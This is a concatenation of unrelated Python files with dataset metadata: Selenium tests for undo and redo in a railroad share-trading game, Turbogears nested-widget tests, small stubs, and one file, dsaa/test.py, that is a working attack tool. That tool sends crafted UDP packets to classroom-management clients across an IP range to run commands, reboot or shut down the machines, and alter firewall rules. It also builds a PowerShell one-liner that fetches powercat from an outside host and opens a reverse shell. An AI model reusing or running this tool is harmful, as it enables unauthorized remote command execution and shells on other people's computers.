cash=120) self.verify_company(bno, cash=980) def test_can_undo_player_buying_share_from_ipo(self): self.story('Alice is a user who has a game') self.browser.get(self.server_url) homepage = game.Homepage(self.browser) homepage.start_button.click() game_uuid = self.browser.current_url[-36:] self.create_player(game_uuid, 'Alice', cash=100) self.create_company(game_uuid, 'B&O', cash=0, ipo_shares=3) self.story('Alice buys a share from the B&Os IPO') game_page = game.GamePage(self.browser) share_form = game.ShareForm(self.browser) game_page.reload_game.click() bno = game_page.get_companies()[0] bno.set_value(10) alice = game_page.get_players()[0] alice['row'].click() share_form.select_company('B&O') share_form.select_source('ipo') share_form.shares.clear() share_form.shares.send_keys('2\n') self.story('Verify that Alice bought the share') bno = game_page.get_companies()[0] alice = game_page.get_players()[0] self.verify_player(alice, cash=80, shares=['B&O 20%']) self.verify_company(bno, cash=0, ipo_shares=1, bank_shares=0) self.assertEqual(game_page.bank_cash.text, '12020') self.assertEqual(len(game_page.log), 2) self.story('Click the undo button, the game state is reverted') game_page.undo.click() bno = game_page.get_companies()[0] alice = game_page.get_players()[0] self.verify_player(alice, cash=100, shares=[]) self.verify_company(bno, cash=0, ipo_shares=3, bank_shares=0) self.assertEqual(game_page.bank_cash.text, '12000') self.assertEqual(len(game_page.log), 1) self.story('Click the redo button, the transfer is done again') game_page.redo.click() bno = game_page.get_companies()[0] alice = game_page.get_players()[0] self.verify_player(alice, cash=80, shares=['B&O 20%']) self.verify_company(bno, cash=0, ipo_shares=1, bank_shares=0) self.assertEqual(game_page.bank_cash.text, '12020') self.assertEqual(len(game_page.log), 2) def test_can_undo_company_buying_share_from_bank(self): self.story('Alice is a user who has a game') self.browser.get(self.server_url) homepage = game.Homepage(self.browser) homepage.start_button.click() game_uuid = self.browser.current_url[-36:] self.create_company(game_uuid, 'CPR', cash=0, bank_shares=5, ipo_shares=5) self.create_company(game_uuid, 'B&M', cash=100) self.story('B&M buys a share of CPR from the bank') game_page = game.GamePage(self.browser) share_form = game.ShareForm(self.browser) game_page.reload_game.click() bm, cpr = game_page.get_companies() cpr.set_value(20) bm['elem'].click() share_form.select_company('CPR') share_form.select_source('bank') share_form.shares.clear() share_form.shares.send_keys('4\n') self.story('Verify that shares have been bought') bm, cpr = game_page.get_companies() self.verify_company(cpr, cash=0, ipo_shares=5, bank_shares=1) self.verify_company(bm, cash=20, shares=['CPR 40%']) self.assertEqual(game_page.bank_cash.text, '12080') self.assertEqual(len(game_page.log), 2) self.story('Click the undo button, the game state is reverted') game_page.undo.click() bm, cpr = game_page.get_companies() self.verify_company(cpr, cash=0, ipo_shares=5, bank_shares=5) self.verify_company(bm, cash=100, shares=[]) self.assertEqual(game_page.bank_cash.text, '12000') self.story('Click the redo button, the transfer is done again') game_page.redo.click() bm, cpr = game_page.get_companies() self.verify_company(cpr, cash=0, ipo_shares=5, bank_shares=1) self.verify_company(bm, cash=20, shares=['CPR 40%']) self.assertEqual(game_page.bank_cash.text, '12080') self.assertEqual(len(game_page.log), 2) def test_can_undo_player_buying_share_from_company_treasury(self): self.story('Alice is a user who has a game') self.browser.get(self.server_url) homepage = game.Homepage(self.browser) homepage.start_button.click() game_uuid = self.browser.current_url[-36:] self.create_player(game_uuid, 'Alice', cash=300) co_uuid = self.create_company(game_uuid, 'C&O', cash=0, bank_shares=0, ipo_shares=0) self.create_company_share(co_uuid, co_uuid, shares=10) self.story('Alice buys a share C&O from the C&O') game_page = game.GamePage(self.browser) share_form = game.ShareForm(self.browser) game_page.reload_game.click() alice = game_page.get_players()[0] co = game_page.get_companies()[0] co.set_value(30) alice['row'].click() share_form.select_company('C&O') share_form.select_source('C&O') share_form.shares.clear() share_form.shares.send_keys('6\n') self.story('Verify that shares have been bought') alice = game_page.get_players()[0] co = game_page.get_companies()[0] self.verify_player(alice, cash=120, shares=['C&O 60%']) self.verify_company(co, cash=180, shares=['C&O 40%']) self.story('Click the undo button, the game state is reverted') game_page.undo.click() alice = game_page.get_players()[0] co = game_page.get_companies()[0] self.verify_player(alice, cash=300, shares=[]) self.verify_company(co, cash=0, shares=['C&O 100%']) self.story('Click the redo button, the transfer is done again') game_page.redo.click() alice = game_page.get_players()[0] co = game_page.get_companies()[0] self.verify_player(alice, cash=120, shares=['C&O 60%']) self.verify_company(co, cash=180, shares=['C&O 40%']) def test_can_undo_company_paying_dividends(self): self.story('Alice is a user who has a game') self.browser.get(self.server_url) homepage = game.Homepage(self.browser) homepage.start_button.click() game_uuid = self.browser.current_url[-36:] alice_uuid = self.create_player(game_uuid, 'Alice', cash=0) bob_uuid = self.create_player(game_uuid, 'Bob', cash=0) bo_uuid = self.create_company(game_uuid, 'B&O', cash=0, bank_shares=0, ipo_shares=2) self.create_company_share(bo_uuid, bo_uuid, shares=1) self.create_player_share(alice_uuid, bo_uuid, shares=4) self.create_player_share(bob_uuid, bo_uuid, shares=3) self.story('The B&O operates and pays dividends') game_page = game.GamePage(self.browser) operate_form = game.OperateForm(self.browser) game_page.reload_game.click() bo = game_page.get_companies()[0] bo['elem'].click() operate_form.revenue.clear() operate_form.revenue.send_keys('80') operate_form.full.click() self.story('Verify that everyone has received money') alice, bob = game_page.get_players() bo = game_page.get_companies()[0] self.verify_player(alice, cash=32) self.verify_player(bob, cash=24) self.verify_company(bo, cash=8) self.assertEqual(game_page.bank_cash.text, '11936') self.story('Click the undo button, the game state is reverted') game_page.undo.click() alice, bob = game_page.get_players() bo = game_page.get_companies()[0] self.verify_player(alice, cash=0) self.verify_player(bob, cash=0) self.verify_company(bo, cash=0) self.assertEqual(game_page.bank_cash.text, '12000') self.story('Click the redo button, the operation is done again') game_page.redo.click() alice, bob = game_page.get_players() bo = game_page.get_companies()[0] self.verify_player(alice, cash=32) self.verify_player(bob, cash=24) self.verify_company(bo, cash=8) self.assertEqual(game_page.bank_cash.text, '11936') def test_can_undo_company_withholding_dividends(self): self.story('Alice is a user who has a game') self.browser.get(self.server_url) homepage = game.Homepage(self.browser) homepage.start_button.click() game_uuid = self.browser.current_url[-36:] alice_uuid = self.create_player(game_uuid, 'Alice', cash=0) bob_uuid = self.create_player(game_uuid, 'Bob', cash=0) bo_uuid = self.create_company(game_uuid, 'B&O', cash=0, bank_shares=0, ipo_shares=2) self.create_company_share(bo_uuid, bo_uuid, shares=1) self.create_player_share(alice_uuid, bo_uuid, shares=4) self.create_player_share(bob_uuid, bo_uuid, shares=3) self.story('The B&O operates and withholds dividends') game_page = game.GamePage(self.browser) operate_form = game.OperateForm(self.browser) game_page.reload_game.click() bo = game_page.get_companies()[0] bo['elem'].click() operate_form.revenue.clear() operate_form.revenue.send_keys('90') operate_form.withhold.click() self.story('Verify that only the B&O has received money') alice, bob = game_page.get_players() bo = game_page.get_companies()[0] self.verify_player(alice, cash=0) self.verify_player(bob, cash=0) self.verify_company(bo, cash=90) self.assertEqual(game_page.bank_cash.text, '11910') self.story('Click the undo button, the game state is reverted') game_page.undo.click() alice, bob = game_page.get_players() bo = game_page.get_companies()[0] self.verify_player(alice, cash=0) self.verify_player(bob, cash=0) self.verify_company(bo, cash=0) self.assertEqual(game_page.bank_cash.text, '12000') self.story('Click the redo button, the withholding is done again') game_page.redo.click() alice, bob = game_page.get_players() bo = game_page.get_companies()[0] self.verify_player(alice, cash=0) self.verify_player(bob, cash=0) self.verify_company(bo, cash=90) self.assertEqual(game_page.bank_cash.text, '11910') def test_can_undo_company_paying_half_dividends(self): self.story('Alice is a user who has a game') self.browser.get(self.server_url) homepage = game.Homepage(self.browser) homepage.start_button.click() game_uuid = self.browser.current_url[-36:] alice_uuid = self.create_player(game_uuid, 'Alice', cash=0) bob_uuid = self.create_player(game_uuid, 'Bob', cash=0) bo_uuid = self.create_company(game_uuid, 'B&O', cash=0, bank_shares=0, ipo_shares=2) self.create_company_share(bo_uuid, bo_uuid, shares=1) self.create_player_share(alice_uuid, bo_uuid, shares=4) self.create_player_share(bob_uuid, bo_uuid, shares=3) self.story('The B&O operates and pays half dividends') game_page = game.GamePage(self.browser) operate_form = game.OperateForm(self.browser) game_page.reload_game.click() bo = game_page.get_companies()[0] bo['elem'].click() operate_form.revenue.clear() operate_form.revenue.send_keys('100') operate_form.half.click() self.story('Verify that everyone received the correct amounts') alice, bob = game_page.get_players() bo = game_page.get_companies()[0] self.verify_player(alice, cash=20) self.verify_player(bob, cash=15) self.verify_company(bo, cash=55) self.assertEqual(game_page.bank_cash.text, '11910') self.story('Click the undo button, the game state is reverted') game_page.undo.click() alice, bob = game_page.get_players() bo = game_page.get_companies()[0] self.verify_player(alice, cash=0) self.verify_player(bob, cash=0) self.verify_company(bo, cash=0) self.assertEqual(game_page.bank_cash.text, '12000') self.story('Click the redo button, the split payment is done again') game_page.redo.click() alice, bob = game_page.get_players() bo = game_page.get_companies()[0] self.verify_player(alice, cash=20) self.verify_player(bob, cash=15) self.verify_company(bo, cash=55) self.assertEqual(game_page.bank_cash.text, '11910') def test_log_does_not_show_undone_log_actions(self): self.story('Alice is a user who has a game with a player') self.browser.get(self.server_url) homepage = game.Homepage(self.browser) homepage.start_button.click() game_uuid = self.browser.current_url[-36:] self.create_player(game_uuid, 'Alice', cash=100) self.story('Alice transfers some money to the bank') game_page = game.GamePage(self.browser) game_page.reload_game.click() transfer_form = game.TransferForm(self.browser) alice = game_page.get_players()[0] alice['row'].click() transfer_form.amount.send_keys('50\n') self.assertEqual(len(game_page.log), 2) self.assertRegex(game_page.log[0].text, DATE_REGEX + 'Alice transfered 50 to the bank') self.story('Click the undo button, an item is removed from the log') game_page.undo.click() self.assertEqual(len(game_page.log), 1) self.assertRegex(game_page.log[0].text, DATE_REGEX + 'New game started') self.story('Soft reload the page, the undone item is still not shown') game_page.reload_game.click() self.assertEqual(len(game_page.log), 1) self.assertRegex(game_page.log[0].text, DATE_REGEX + 'New game started') self.story('Hard refresh the page, the undone item is still not shown') self.browser.refresh() self.assertEqual(len(game_page.log), 1) self.assertRegex(game_page.log[0].text, DATE_REGEX + 'New game started') self.story('Click the redo button, the undone item is shown again') game_page.redo.click() self.assertEqual(len(game_page.log), 2) self.assertRegex(game_page.log[0].text, DATE_REGEX + 'Alice transfered 50 to the bank') self.story('Soft reload the page, the item is still there') game_page.reload_game.click() self.assertEqual(len(game_page.log), 2) self.assertRegex(game_page.log[0].text, DATE_REGEX + 'Alice transfered 50 to the bank') self.story('Hard refresh the page, the item is still visible') self.browser.refresh() self.assertEqual(len(game_page.log), 2) self.assertRegex(game_page.log[0].text, DATE_REGEX + 'Alice transfered 50 to the bank') def test_undo_button_disabled_when_action_cant_be_undone(self): self.story('Alice is a user who has a game') self.browser.get(self.server_url) homepage = game.Homepage(self.browser) homepage.start_button.click() self.story("The game creating can't be undone") game_page = game.GamePage(self.browser) self.assertFalse(game_page.undo.is_enabled()) self.story("Can't undo player creation") game_page.add_player_link.click() add_player = game.AddPlayerPage(self.browser) add_player.name.send_keys('Alice\n') self.assertFalse(game_page.undo.is_enabled()) self.story("Can't undo company creation") game_page.add_company_link.click() add_company = game.AddCompanyPage(self.browser) add_company.name.send_keys('B&M\n') self.assertFalse(game_page.undo.is_enabled()) self.story("Can't undo editing a company") bm = game_page.get_companies()[0] bm['elem'].click() bm['edit'].click() edit_company = game.EditCompanyPage(self.browser) edit_company.name.clear() edit_company.name.send_keys('CPR\n') self.assertFalse(game_page.undo.is_enabled()) def test_undone_actions_not_in_log_after_doing_new_action(self): self.story('Alice is a user who has a game') self.browser.get(self.server_url) homepage = game.Homepage(self.browser) homepage.start_button.click() game_uuid = self.browser.current_url[-36:] self.create_player(game_uuid, 'Alice', cash=100) self.create_player(game_uuid, 'Bob', cash=100) self.story('Alice transfers some money to the bank') game_page = game.GamePage(self.browser) game_page.reload_game.click() transfer_form = game.TransferForm(self.browser) alice, bob = game_page.get_players() alice['row'].click() transfer_form.amount.send_keys('60\n') self.story('The transfer action has been done') self.assertEqual(len(game_page.log), 2) self.story('Undo the transfer action because Bob was meant to do it') game_page.undo.click() alice, bob = game_page.get_players() bob['row'].click() transfer_form.amount.send_keys('60\n') self.story("Alice's action doesn't show in the log") self.assertRegex(game_page.log[1].text, DATE_REGEX + 'New game started') self.assertRegex(game_page.log[0].text, DATE_REGEX + 'Bob transfered 60 to the bank') self.assertEqual(len(game_page.log), 2) self.story("After soft refresh it still doesn't show") game_page.reload_game.click() self.assertRegex(game_page.log[1].text, DATE_REGEX + 'New game started') self.assertRegex(game_page.log[0].text, DATE_REGEX + 'Bob transfered 60 to the bank') self.assertEqual(len(game_page.log), 2)

43.017153

79

0.649029

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25,079

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0.059983

0.095581

0.047341

0.046249

0.905768

0.882965

0.862089

0.848664

0.83222

0.802801

0

0.026618

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25,079

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43.091065

0.779596

0.002113

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0.794118

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0.001961

0.146791

0

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1

0.02549

false

0

0.003922

0

0.031373

0

null

0

1

0

1

0

null

0

7

81a9c46d450b5f9db6796d8f2aa2104e32d556ab

265

py

Python

matilda/fundamental_analysis/equity_valuation_models/__init__.py

AlainDaccache/Quantropy

6cfa06ed2b764471382ebf94d40af867f10433bb

[ "MIT" ]

45

2021-01-28T04:12:21.000Z

2022-02-24T13:15:50.000Z

matilda/fundamental_analysis/equity_valuation_models/__init__.py

AlainDaccache/Quantropy

6cfa06ed2b764471382ebf94d40af867f10433bb

[ "MIT" ]

32

2021-03-02T18:45:16.000Z

2022-03-12T00:53:10.000Z

matilda/fundamental_analysis/equity_valuation_models/__init__.py

AlainDaccache/Quantropy

6cfa06ed2b764471382ebf94d40af867f10433bb

[ "MIT" ]

10

2020-12-25T15:02:40.000Z

2021-12-30T11:40:15.000Z

from matilda.fundamental_analysis.equity_valuation_models.cost_of_capital import * from matilda.fundamental_analysis.equity_valuation_models.absolute_valuation_modeling import * from matilda.fundamental_analysis.equity_valuation_models.time_value_of_money import *

66.25

94

0.909434

34

265

6.617647

0.470588

0.146667

0.293333

0.4

0.733333

0.506667

0

0.045283

265

3

95

88.333333

0.889328

0

1

0

true

0

1

0

1

0

null

0

1

0

1

0

1

0

null

0

1

0

1

0

1

0

8

81b27c4a4da0cb91dc7b9304f5cde70b9a998fc0

58

py

Python

httpfaux/pytest_plugin.py

symonk/httpfaux

1b19f65a14656268a83488a14dd37b6ce78dc4d2

[ "Apache-2.0" ]

null

httpfaux/pytest_plugin.py

symonk/httpfaux

1b19f65a14656268a83488a14dd37b6ce78dc4d2

[ "Apache-2.0" ]

null

httpfaux/pytest_plugin.py

symonk/httpfaux

1b19f65a14656268a83488a14dd37b6ce78dc4d2

[ "Apache-2.0" ]

null

from pytest import hookimpl from pytest import hookimpl

11.6

27

0.827586

8

58

6

0.5

0.416667

0.666667

1

0

0.172414

58

4

28

14.5

1

0

1

0

1

0

true

0

1

0

1

0

1

0

null

1

0

1

0

1

0

null

0

1

0

1

0

1

0

9

81cab2fc806660bae05fb98334355388a7b6b886

25,562

py

Python

dsaa/test.py

ntdgy/python_study

c3511846a89ea72418937de4cc3edf1595a46ec5

[ "MIT" ]

null

dsaa/test.py

ntdgy/python_study

c3511846a89ea72418937de4cc3edf1595a46ec5

[ "MIT" ]

null

dsaa/test.py

ntdgy/python_study

c3511846a89ea72418937de4cc3edf1595a46ec5

[ "MIT" ]

null

import sys import socket import random import argparse from re import compile from time import sleep from struct import pack from os import popen, system from multiprocessing import Pool store = [ [0x44, 0x4d, 0x4f, 0x43, 0x00, 0x00, 0x01, 0x00, 0x9e, 0x03, 0x00, 0x00, 0x10, 0x41, 0xaf, 0xfb, 0xa0, 0xe7, 0x52, 0x40, 0x91, 0xdc, 0x27, 0xa3, 0xb6, 0xf9, 0x29, 0x2e, 0x20, 0x4e, 0x00, 0x00, 0xc0, 0xa8, 0x50, 0x81, 0x91, 0x03, 0x00, 0x00, 0x91, 0x03, 0x00, 0x00, 0x00, 0x08, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x05, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 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parser.add_argument('-l', type=int, default=1, help="循环次数，默认为1") parser.add_argument('-t', type=int, default=22, help="循环时间间隔，默认是22秒") parser.add_argument('-e', type=str, choices=['r', 's', 'g', 'nc', 'break', 'continue'], help="Extra Options加载额外的选项 eg：-e r" ) subparsers = parser.add_subparsers(help='-e 参数的详细说明') subparsers.add_parser('r', help='reboot 重启') subparsers.add_parser('s', help='shutdown 关机') subparsers.add_parser('g', help='独立选项，获取当前的ip地址以及学生端监听的端口') subparsers.add_parser('nc', help='独立选项，反弹shell的机器需出网，退出可使用命令exit') subparsers.add_parser('break', help='独立选项，脱离屏幕控制，需要管理员权限') subparsers.add_parser('continue', help='独立选项，恢复屏幕控制') args = parser.parse_args() # 格式化要发送的消息 def format_b4_send(content): arr = [] for ch in content: tmp = ''.join(list(map(lambda x: hex(ord(x)), ch))) if int(tmp, 16) > 0xff: tmp = tmp[2:] high = int((tmp[0] + tmp[1]), 16) low = int((tmp[2] + tmp[3]), 16) arr.append(low) arr.append(high) else: high = 0 low = int((tmp[2] + tmp[3]), 16) arr.append(low) arr.append(high) return arr # 获取ip def get_ip(ip): target_host = [] if ip.find('.') == -1: print('\nYou enter a error IP.') print("Please enter the correct format of the IP again.") sys.exit(0) if ip.find('-') != -1: ip_arr = ip.split('-') ip_arrs = ip_arr[0].split('.') if int(ip_arr[1]) > 254: ip_arr[1] = '254' for i in range(int(ip_arrs[3]), int(ip_arr[1]) + 1): ip_arrs[3] = str(i) target_host.append('.'.join(ip_arrs)) elif ip.find('/') == -1: target_host.append(ip) elif ip.find('/24') != -1: ip_arr = ip.split('/') ip_arrs = ip_arr[0].split('.') for i in range(1, 255): ip_arrs[3] = str(i) target_host.append('.'.join(ip_arrs)) else: print('\nYou enter a error IP.') print("Please enter the correct format of the IP again.") sys.exit(0) return target_host # 将要发送的消息打包成完整的指令 def pkg_sendlist(cmdtype, content): arrs = format_b4_send(content) if cmdtype == '-msg': index = 56 result = basicCMD['-msg'] for elem in arrs: result[index] = elem index += 1 elif cmdtype == '-c': index = 578 result = basicCMD['-c'] for elem in arrs: result[index] = elem index += 1 return result # 发送 def send(send_list): if len(send_list) == 0: print("[-] error 请使用 -h 以获取命令帮助") sys.exit(0) client = socket.socket(socket.AF_INET, socket.SOCK_DGRAM) target_host = get_ip(args.ip) for times in range(args.l): for i in target_host: for abc in send_list: payload = pack("%dB" % (len(abc)), *abc) client.sendto(payload, (i, args.p)) if args.l == 1: print("发送成功") sys.exit(0) print("第%s次执行完毕" % str(times + 1)) if times != args.l - 1: sleep(args.t) def creat_send_object(): send_list = [] # 获取命令内容 if args.msg: send_list.append(pkg_sendlist('-msg', args.msg)) if args.c: send_list.append(pkg_sendlist('-c', args.c)) if args.e == 'r': send_list.append(basicCMD['-r']) if args.e == 's': send_list.append(basicCMD['-s']) return send_list def single_command(): if args.e == 'g': try: hostname = socket.gethostname() ip = socket.gethostbyname(hostname) print("\nYour ip addres is:" + ip) tasklist = popen("tasklist|find \"Student\"").read() pattern = compile(r'[e]\s*\d{1,5}\s*[C]') pid = (pattern.search(tasklist).group()[1:-1]).strip() netstat = popen("netstat -ano |find \"{}\"".format(pid)).read() pattern = compile(r"%s:\d{1,5}\s*[*]{1}" % ip) netstat_pat = pattern.findall(netstat) ports = [((i.strip(ip)[1:-1]).rstrip()) for i in netstat_pat] print("\nYour student client possible ports are:" + ','.join(ports)) except: pass sys.exit(0) elif args.e == 'break': popen('sc config MpsSvc start= auto') popen('net start MpsSvc') popen('netsh advfirewall set allprofiles state on') popen('netsh advfirewall firewall set rule name="StudentMain.exe" new action=block') sleep(1) system("cls") sys.exit(0) elif args.e == 'continue': popen('netsh advfirewall firewall set rule name="StudentMain.exe" new action=allow') sys.exit(0) def netcat(num): send_list = [] hostname = socket.gethostname() ip = socket.gethostbyname(hostname) cmd = "powershell IEX (New-Object System.Net.Webclient).DownloadString('https://xss.pt/hYvg');powercat -c {} -p {} -e cmd".format( ip, num) send_list.append(pkg_sendlist('-c', cmd)) send(send_list) def run_from_cmd(): try: single_command() if args.e != 'nc': send_list = creat_send_object() send(send_list) sys.exit(0) num = random.randint(1, 65535) pool = Pool(processes=1) pool.apply_async(netcat, (num,)) print("listening on [any] {} ...".format(num)) system( "powershell IEX (New-Object System.Net.Webclient).DownloadString('https://xss.pt/hYvg');powercat -l -p {}".format( num)) pool.close() pool.join() except Exception as e: print("[-] %s" % e) if __name__ == '__main__': run_from_cmd()

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Python

turbogears/widgets/tests/test_nested_widgets.py

timmartin19/turbogears

b5420cb7e55757d418d8fadb512dbd7803c4279c

[ "MIT" ]

null

turbogears/widgets/tests/test_nested_widgets.py

timmartin19/turbogears

b5420cb7e55757d418d8fadb512dbd7803c4279c

[ "MIT" ]

9

2015-01-27T19:13:56.000Z

2019-03-29T14:44:31.000Z

turbogears/widgets/tests/test_nested_widgets.py

timmartin19/turbogears

b5420cb7e55757d418d8fadb512dbd7803c4279c

[ "MIT" ]

13

2015-04-14T14:15:53.000Z

2020-03-18T01:05:46.000Z

import re import cherrypy import turbogears.validators as validators import turbogears.widgets as widgets from turbogears.testutil import catch_validation_errors from turbogears.widgets.meta import copy_schema oldrequest = None int_validator = validators.Int(if_empty=None) s_validator = validators.Schema(age=int_validator, ignore_key_missing=True) class Request: validation_errors = {} def setup_module(): global oldrequest oldrequest = cherrypy.request cherrypy.request = Request() def teardown_module(): global oldrequest cherrypy.request = oldrequest #XXX: We ignore missing keys to make passing value easier in tests class TestSchema(validators.Schema): ignore_key_missing = True class TestNestedWidgets: form = widgets.TableForm(name = "myform", fields=[ widgets.TextField("name"), widgets.TextField("age", validator=int_validator), widgets.FieldSet("sub", fields = [ widgets.TextField("name"), widgets.TextField("age", validator=int_validator), widgets.FieldSet("sub2", fields = [ widgets.TextField("name"), widgets.TextField("age", validator=int_validator), ], validator = TestSchema()), ], validator = TestSchema()), ], validator = TestSchema()) def test_display(self): """ Checks if names fo the widgets are set correctly depending on their path. """ output = self.form.render(dict(sub=dict(sub2=dict(age=22))), format='xhtml') value_p = 'value="22"' name_p = 'name="sub.sub2.age"' assert (re.compile('.*'.join([value_p, name_p])).search(output) or re.compile('.*'.join([name_p, value_p])).search(output)) output = self.form.render(dict(sub=dict(age=22)), format='xhtml') value_p = 'value="22"' name_p = 'name="sub.age"' assert (re.compile('.*'.join([value_p, name_p])).search(output) or re.compile('.*'.join([name_p, value_p])).search(output)) output = self.form.render(dict(sub=dict(age=22)), format='xhtml') id_p = 'id="myform_sub_age"' name_p = 'name="sub.age"' assert (re.compile('.*'.join([value_p, id_p])).search(output) or re.compile('.*'.join([id_p, value_p])).search(output)) output = self.form.render(dict(age=22), format='xhtml') value_p = 'value="22"' name_p = 'name="age"' assert (re.compile('.*'.join([value_p, name_p])).search(output) or re.compile('.*'.join([name_p, value_p])).search(output)) def test_validate_outermost(self): values = dict(age="twenty") values, errors = catch_validation_errors(self.form, values) print values, errors assert errors.pop('age', False) assert not errors def test_validate_sub(self): values = dict(sub=dict(age="twenty")) values, errors = catch_validation_errors(self.form, values) print values, errors # check the outermost dict is not poluted with errors from the inner # dicts assert not errors.has_key('age') errors = errors['sub'] assert errors.pop('age', False) assert not errors def test_validate_sub2(self): values = dict(sub=dict(sub2=dict(age="twenty"))) values, errors = catch_validation_errors(self.form, values) print values, errors assert not errors.has_key('age') errors = errors['sub'] print values, errors assert not errors.has_key('age') errors = errors['sub2'] print values, errors assert errors.pop('age', False) assert not errors def test_validate_sub_and_sub2(self): values = dict(sub=dict(age="fhg", sub2=dict(age="twenty"))) values, errors = catch_validation_errors(self.form, values) print values, errors assert not errors.has_key('age') errors = errors['sub'] print values, errors assert errors.pop('age', False) errors = errors['sub2'] print values, errors assert errors.pop('age', False) assert not errors def test_good_values(self): values = dict(age=22, sub=dict(sub2=dict(age=20))) values, errors = catch_validation_errors(self.form, values) print values, errors assert errors == {} assert values['age'] == 22 def test_good_and_bad_values(self): values = dict(age="ddd", sub=dict(age="20", sub2=dict())) values, errors = catch_validation_errors(self.form, values) print values, errors assert errors.pop('age', False) assert not errors #assert values['sub']['age'] == 20 class TestNestedWidgetsWSchemaValidation: form = widgets.TableForm( name = "myform", validator = s_validator, fields=[ widgets.TextField("name"), widgets.TextField("age"), widgets.FieldSet( name = "sub", validator = s_validator, fields = [ widgets.TextField("name"), widgets.TextField("age"), widgets.FieldSet( name = "sub2", validator = s_validator, fields = [ widgets.TextField("name"), widgets.TextField("age"), ] ), ] ), ] ) def test_validate_sub_schema(self): values = dict(sub=dict(age="twenty")) values, errors = catch_validation_errors(self.form, values) print values, errors # check the outermost dict is not poluted with errors from the inner # dicts assert not errors.has_key('age') errors = errors['sub'] assert errors.pop('age', False) assert not errors def test_good_and_bad_values_schema(self): values = dict(age="ddd", sub=dict(age="20", sub2=dict())) values, errors = catch_validation_errors(self.form, values) print values, errors assert errors.pop('age', False) assert not errors #assert values['sub']['age'] == 20 def test_good_values_schema(self): values = dict(age=22, sub=dict(sub2=dict(age=20))) values, errors = catch_validation_errors(self.form, values) print values, errors assert errors == {} assert values['age'] == 22 def test_validate_sub_and_sub2_schema(self): values = dict(sub=dict(age="fhg", sub2=dict(age="twenty"))) values, errors = catch_validation_errors(self.form, values) print values, errors assert not errors.has_key('age') errors = errors['sub'] print values, errors assert errors.pop('age', False) errors = errors['sub2'] print values, errors assert errors.pop('age', False) assert not errors def test_validate_sub2_schema(self): values = dict(sub=dict(sub2=dict(age="twenty"))) values, errors = catch_validation_errors(self.form, values) print values, errors assert not errors.has_key('age') errors = errors['sub'] print values, errors assert not errors.has_key('age') errors = errors['sub2'] print values, errors assert errors.pop('age', False) def test_validate_outermost_schema(self): values = dict(age="twenty") values, errors = catch_validation_errors(self.form, values) print values, errors assert errors.pop('age', False) assert not errors assert not errors class TestNestedWidgetsWMixedValidation: form = widgets.TableForm( name = "myform", validator = s_validator, fields=[ widgets.TextField("name"), widgets.TextField("age"), widgets.TextField("number", validator=int_validator), widgets.FieldSet( name = "sub", validator = s_validator, fields = [ widgets.TextField("name"), widgets.TextField("age"), widgets.TextField("number", validator=int_validator), widgets.FieldSet( name = "sub2", fields = [ widgets.TextField("name"), widgets.TextField("age", validator=int_validator), widgets.TextField("number", validator=int_validator), ] ), ] ), ] ) def test_mixed_validators(self): """ Tests that schema validators and single validators can be mixed safely. """ values = dict( age="bad", number="22", sub=dict( age="bad", number="bad", sub2=dict( age="bad", number="bad", ) ) ) values, errors = catch_validation_errors(self.form, values) print values, errors assert errors.pop('age', False) #assert values['number'] == 22 # assert errors are not getting poluted errors from other levels of # the tree assert errors.keys() == ['sub'] errors = errors['sub'] assert errors.pop('age', False) assert errors.pop('number', False) assert errors.keys() == ['sub2'] errors = errors['sub2'] assert errors.pop('age', False) assert errors.pop('number', False) assert not errors class InnerSchema(validators.Schema): ignore_key_missing = True age = int_validator class MiddleSchema(validators.Schema): ignore_key_missing = True age = int_validator sub2 = InnerSchema() class OuterSchema(validators.Schema): ignore_key_missing = True age = int_validator sub = MiddleSchema() class TestNestedSchemaValidators: #XXX: Age is always validated by the nested schemas, number is # validated with widget validator. form = widgets.TableForm( name = "myform", validator = OuterSchema(), fields=[ widgets.TextField("age"), widgets.TextField("number", validator=int_validator), widgets.FieldSet( name = "sub", fields = [ widgets.TextField("age"), widgets.TextField("number", validator=int_validator), widgets.FieldSet( name = "sub2", fields = [ widgets.TextField("age"), widgets.TextField("number", validator=int_validator), ] ), ] ), ] ) def test_nested_schemas(self): """ Tests that we can nest schema validators safely. """ values = dict( age="bad", number="22", sub=dict( age="27", number="bad", sub2=dict( age="bad", number="bad", ) ) ) values, errors = catch_validation_errors(self.form, values) print values, errors assert errors.pop('age', False) #assert values['number'] == 22 # assert errors are not getting poluted errors from other levels of # the tree assert errors.keys() == ['sub'] errors = errors['sub'] values = values['sub'] #XXX This assertion fails :( #XXX But it's normal as the Schema doesn't convert good values in # invalid Schemas, ATM #assert values['age'] == 27 assert errors.pop('number', False) assert errors.keys() == ['sub2'] errors = errors['sub2'] assert errors.pop('age', False) assert errors.pop('number', False) assert not errors def test_nested_schemas_good_values(self): values = dict( age="21", number="22", sub=dict( age="27", number="28", sub2=dict( age="33", number="34", ) ) ) values, errors = catch_validation_errors(self.form, values) print values, errors assert not errors assert (values["age"], values['number']) == (21, 22) values = values['sub'] assert (values["age"], values['number']) == (27, 28) values = values['sub2'] assert (values["age"], values['number']) == (33, 34) def test_copy_schema(): """Test that a validator schema can be copied.""" class UserSchema(validators.Schema): user_name = validators.PlainText() schema = copy_schema(UserSchema()) def test_copy_nested_schema(): """Test that a nested validator schema can be copied.""" class PersonSchema(validators.Schema): class namefields(validators.Schema): firstname = validators.PlainText() lastname = validators.PlainText() class parents(validators.Schema): class father(validators.Schema): firstname = validators.PlainText() lastname = validators.PlainText() class mother(validators.Schema): firstname = validators.PlainText() lastname = validators.PlainText() schema = copy_schema(PersonSchema())

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7

f20613ac931f56423a1ac558f26047bfad5c9379

6,742

py

Python

tests/uri/test_uri_joining.py

spaceone/httoop

99f5f51a6ebab4bfdfd02d3705a0bffb5379b4a9

[ "MIT" ]

13

